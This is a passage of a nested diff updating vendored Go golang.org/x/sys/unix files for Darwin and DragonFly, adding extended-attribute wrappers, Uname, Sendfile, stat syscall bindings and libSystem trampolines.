-+func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-+ // The parameters for the OS X implementation vary slightly compared to the
-+ // linux system call, specifically the position parameter:
-+ //
-+ // linux:
-+ // int setxattr(
-+ // const char *path,
-+ // const char *name,
-+ // const void *value,
-+ // size_t size,
-+ // int flags
-+ // );
-+ //
-+ // darwin:
-+ // int setxattr(
-+ // const char *path,
-+ // const char *name,
-+ // void *value,
-+ // size_t size,
-+ // u_int32_t position,
-+ // int options
-+ // );
-+ //
-+ // position specifies the offset within the extended attribute. In the
-+ // current implementation, only the resource fork extended attribute makes
-+ // use of this argument. For all others, position is reserved. We simply
-+ // default to setting it to zero.
-+ return setxattr(path, attr, xattrPointer(data), len(data), 0, flags)
-+}
-+
-+func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-+ return setxattr(link, attr, xattrPointer(data), len(data), 0, flags|XATTR_NOFOLLOW)
-+}
-+
-+//sys fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error)
-+
-+func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-+ return fsetxattr(fd, attr, xattrPointer(data), len(data), 0, 0)
-+}
-+
-+//sys removexattr(path string, attr string, options int) (err error)
-+
-+func Removexattr(path string, attr string) (err error) {
-+ // We wrap around and explicitly zero out the options provided to the OS X
-+ // implementation of removexattr, we do so for interoperability with the
-+ // linux variant.
-+ return removexattr(path, attr, 0)
-+}
-+
-+func Lremovexattr(link string, attr string) (err error) {
-+ return removexattr(link, attr, XATTR_NOFOLLOW)
-+}
-+
-+//sys fremovexattr(fd int, attr string, options int) (err error)
-+
-+func Fremovexattr(fd int, attr string) (err error) {
-+ return fremovexattr(fd, attr, 0)
-+}
-+
-+//sys listxattr(path string, dest *byte, size int, options int) (sz int, err error)
-+
-+func Listxattr(path string, dest []byte) (sz int, err error) {
-+ return listxattr(path, xattrPointer(dest), len(dest), 0)
- }
-
-+func Llistxattr(link string, dest []byte) (sz int, err error) {
-+ return listxattr(link, xattrPointer(dest), len(dest), XATTR_NOFOLLOW)
-+}
-+
-+//sys flistxattr(fd int, dest *byte, size int, options int) (sz int, err error)
-+
-+func Flistxattr(fd int, dest []byte) (sz int, err error) {
-+ return flistxattr(fd, xattrPointer(dest), len(dest), 0)
-+}
-+
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ _p0, err := BytePtrFromString(path)
-+ if err != nil {
-+ return err
-+ }
-+
-+ var attrList attrList
-+ attrList.bitmapCount = ATTR_BIT_MAP_COUNT
-+ attrList.CommonAttr = ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME
-+
-+ // order is mtime, atime: the opposite of Chtimes
-+ attributes := [2]Timespec{times[1], times[0]}
-+ options := 0
-+ if flags&AT_SYMLINK_NOFOLLOW != 0 {
-+ options |= FSOPT_NOFOLLOW
-+ }
-+ return setattrlist(
-+ _p0,
-+ unsafe.Pointer(&attrList),
-+ unsafe.Pointer(&attributes),
-+ unsafe.Sizeof(attributes),
-+ options)
-+}
-+
-+//sys setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
-+
- func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
- // Darwin doesn't support SYS_UTIMENSAT
- return ENOSYS
-@@ -196,49 +316,74 @@ func utimensat(dirfd int, path string, times *[2]Timespec, flags int) error {
- * Wrapped
- */
-
-+//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+
- //sys kill(pid int, signum int, posix int) (err error)
-
- func Kill(pid int, signum syscall.Signal) (err error) { return kill(pid, int(signum), 1) }
-
- //sys ioctl(fd int, req uint, arg uintptr) (err error)
-
--// ioctl itself should not be exposed directly, but additional get/set
--// functions for specific types are permissible.
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS_SYSCTL
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
--}
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
--}
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlSetTermios(fd int, req uint, value *Termios) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
--}
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--// IoctlGetInt performs an ioctl operation which gets an integer value
--// from fd, using the specified request number.
--func IoctlGetInt(fd int, req uint) (int, error) {
-- var value int
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return value, err
--}
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-- var value Winsize
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-+
-+ return nil
- }
-
--func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-- var value Termios
-- err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-- return &value, err
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ var length = int64(count)
-+ err = sendfile(infd, outfd, *offset, &length, nil, 0)
-+ written = int(length)
-+ return
- }
-
-+//sys sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error)
-+
- /*
- * Exposed directly
- */
-@@ -249,6 +394,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Chmod(path string, mode uint32) (err error)
- //sys Chown(path string, uid int, gid int) (err error)
- //sys Chroot(path string) (err error)
-+//sys ClockGettime(clockid int32, time *Timespec) (err error)
- //sys Close(fd int) (err error)
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
-@@ -263,11 +409,8 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
--//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
--//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
--//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
- //sysnb Geteuid() (uid int)
-@@ -287,7 +430,6 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Link(path string, link string) (err error)
- //sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
--//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
- //sys Mkdir(path string, mode uint32) (err error)
- //sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
-@@ -305,7 +447,7 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sys Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -319,8 +461,6 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- //sysnb Setsid() (pid int, err error)
- //sysnb Settimeofday(tp *Timeval) (err error)
- //sysnb Setuid(uid int) (err error)
--//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
--//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
- //sys Symlink(path string, link string) (err error)
- //sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
-@@ -377,18 +517,9 @@ func IoctlGetTermios(fd int, req uint) (*Termios, error) {
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
--// Getxattr
--// Fgetxattr
--// Setxattr
--// Fsetxattr
--// Removexattr
--// Fremovexattr
--// Listxattr
--// Flistxattr
- // Fsctl
- // Initgroups
- // Posix_spawn
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
-new file mode 100644
-index 00000000..6b223f91
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_386.1_11.go
-@@ -0,0 +1,9 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,386,!go1.12
-+
-+package unix
-+
-+//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_386.go b/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-index c172a3da..707ba4f5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_386.go
-@@ -8,30 +8,22 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
-+//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int32, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = int32(sec)
-@@ -53,21 +45,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(*offset>>32), uintptr(unsafe.Pointer(&length)), 0, 0, 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-@@ -75,3 +58,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/386 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT64
-+//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
-new file mode 100644
-index 00000000..68ebd6fa
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.1_11.go
-@@ -0,0 +1,9 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,amd64,!go1.12
-+
-+package unix
-+
-+//sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) = SYS_GETDIRENTRIES64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-index c6c99c13..fdbfb591 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_amd64.go
-@@ -8,30 +8,22 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
-+//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
-
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int64, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = sec
-@@ -53,21 +45,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(unsafe.Pointer(&length)), 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)
-@@ -75,3 +58,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/amd64 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error) = SYS_FSTATFS64
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT64
-+//sys Lstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64
-+//sys Stat(path string, stat *Stat_t) (err error) = SYS_STAT64
-+//sys Statfs(path string, stat *Statfs_t) (err error) = SYS_STATFS64
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
-new file mode 100644
-index 00000000..0e3f25ac
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.1_11.go
-@@ -0,0 +1,11 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,arm,!go1.12
-+
-+package unix
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ return 0, ENOSYS
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-index d286cf40..f8bc4cfb 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm.go
-@@ -6,30 +6,24 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func ptrace(request int, pid int, addr uintptr, data uintptr) error {
-+ return ENOTSUP
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = int32(nsec / 1e9)
-- ts.Nsec = int32(nsec % 1e9)
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int32(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int32, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = int32(sec)
-@@ -51,21 +45,24 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(*offset>>32), uintptr(unsafe.Pointer(&length)), 0, 0, 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno) // sic
-+
-+// SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
-+// of darwin/arm the syscall is called sysctl instead of __sysctl.
-+const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT
-+//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statfs(path string, stat *Statfs_t) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
-new file mode 100644
-index 00000000..01d45040
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.1_11.go
-@@ -0,0 +1,11 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,arm64,!go1.12
-+
-+package unix
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ return 0, ENOSYS
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-index c33905cd..5ede3ac3 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_arm64.go
-@@ -8,30 +8,24 @@ package unix
-
- import (
- "syscall"
-- "unsafe"
- )
-
--func Getpagesize() int { return 16384 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
-+func ptrace(request int, pid int, addr uintptr, data uintptr) error {
-+ return ENOTSUP
-+}
-
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = int32(nsec % 1e9 / 1e3)
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: int32(usec)}
- }
-
- //sysnb gettimeofday(tp *Timeval) (sec int64, usec int32, err error)
- func Gettimeofday(tv *Timeval) (err error) {
- // The tv passed to gettimeofday must be non-nil
-- // but is otherwise unused. The answers come back
-+ // but is otherwise unused. The answers come back
- // in the two registers.
- sec, usec, err := gettimeofday(tv)
- tv.Sec = sec
-@@ -53,21 +47,12 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
--func (cmsg *Cmsghdr) SetLen(length int) {
-- cmsg.Len = uint32(length)
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
- }
-
--func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-- var length = uint64(count)
--
-- _, _, e1 := Syscall6(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(*offset), uintptr(unsafe.Pointer(&length)), 0, 0)
--
-- written = int(length)
--
-- if e1 != 0 {
-- err = e1
-- }
-- return
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
- }
-
- func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno) // sic
-@@ -75,3 +60,11 @@ func Syscall9(num, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- // SYS___SYSCTL is used by syscall_bsd.go for all BSDs, but in modern versions
- // of darwin/arm64 the syscall is called sysctl instead of __sysctl.
- const SYS___SYSCTL = SYS_SYSCTL
-+
-+//sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
-+//sys Fstatfs(fd int, stat *Statfs_t) (err error)
-+//sys getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) = SYS_GETFSSTAT
-+//sys Lstat(path string, stat *Stat_t) (err error)
-+//sys Stat(path string, stat *Stat_t) (err error)
-+//sys Statfs(path string, stat *Statfs_t) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go b/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
-new file mode 100644
-index 00000000..f34c86c8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin_libSystem.go
-@@ -0,0 +1,33 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.12
-+
-+package unix
-+
-+import "unsafe"
-+
-+// Implemented in the runtime package (runtime/sys_darwin.go)
-+func syscall_syscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall6X(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscall9(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err Errno) // 32-bit only
-+func syscall_rawSyscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_rawSyscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall_syscallPtr(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)
-+
-+//go:linkname syscall_syscall syscall.syscall
-+//go:linkname syscall_syscall6 syscall.syscall6
-+//go:linkname syscall_syscall6X syscall.syscall6X
-+//go:linkname syscall_syscall9 syscall.syscall9
-+//go:linkname syscall_rawSyscall syscall.rawSyscall
-+//go:linkname syscall_rawSyscall6 syscall.rawSyscall6
-+//go:linkname syscall_syscallPtr syscall.syscallPtr
-+
-+// Find the entry point for f. See comments in runtime/proc.go for the
-+// function of the same name.
-+//go:nosplit
-+func funcPC(f func()) uintptr {
-+ return **(**uintptr)(unsafe.Pointer(&f))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly.go b/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-index 3a483373..8a195ae5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_dragonfly.go
-@@ -12,8 +12,27 @@
-
- package unix
-
--import "unsafe"
-+import (
-+ "sync"
-+ "unsafe"
-+)
-
-+// See version list in https://github.com/DragonFlyBSD/DragonFlyBSD/blob/master/sys/sys/param.h
-+var (
-+ osreldateOnce sync.Once
-+ osreldate uint32
-+)
-+
-+// First __DragonFly_version after September 2019 ABI changes
-+// http://lists.dragonflybsd.org/pipermail/users/2019-September/358280.html
-+const _dragonflyABIChangeVersion = 500705
-+
-+func supportsABI(ver uint32) bool {
-+ osreldateOnce.Do(func() { osreldate, _ = SysctlUint32("kern.osreldate") })
-+ return osreldate >= ver
-+}
-+
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -102,7 +121,7 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -110,6 +129,23 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- return
- }
-
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
- func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
- var bufsize uintptr
-@@ -125,6 +161,85 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- return
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func sysctlUname(mib []_C_int, old *byte, oldlen *uintptr) error {
-+ err := sysctl(mib, old, oldlen, nil, 0)
-+ if err != nil {
-+ // Utsname members on Dragonfly are only 32 bytes and
-+ // the syscall returns ENOMEM in case the actual value
-+ // is longer.
